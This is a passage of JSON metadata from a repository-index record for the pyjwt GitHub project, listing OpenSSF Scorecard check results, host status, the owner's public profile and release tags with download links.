ull,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://r